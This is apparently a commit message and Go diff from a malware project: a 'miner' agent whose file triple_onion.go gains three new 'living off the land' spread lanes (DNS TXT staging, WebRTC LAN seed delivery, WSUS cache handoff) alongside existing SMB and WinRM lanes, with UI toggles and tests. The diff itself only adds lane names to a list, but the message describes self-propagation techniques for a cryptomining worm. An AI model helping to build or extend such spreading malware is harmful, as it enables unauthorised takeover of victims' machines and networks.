Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/miner/triple_onion.go

@@ -57,6 +57,9 @@ var DefaultDeployLanes = []string{
 	"dotnet",
 	"bits_curl",
 	"do_peer",
+	"wsus_cache_peer",
+	"dns_txt",
+	"webrtc_mesh",
 	"smb",
 	"winrm",
 }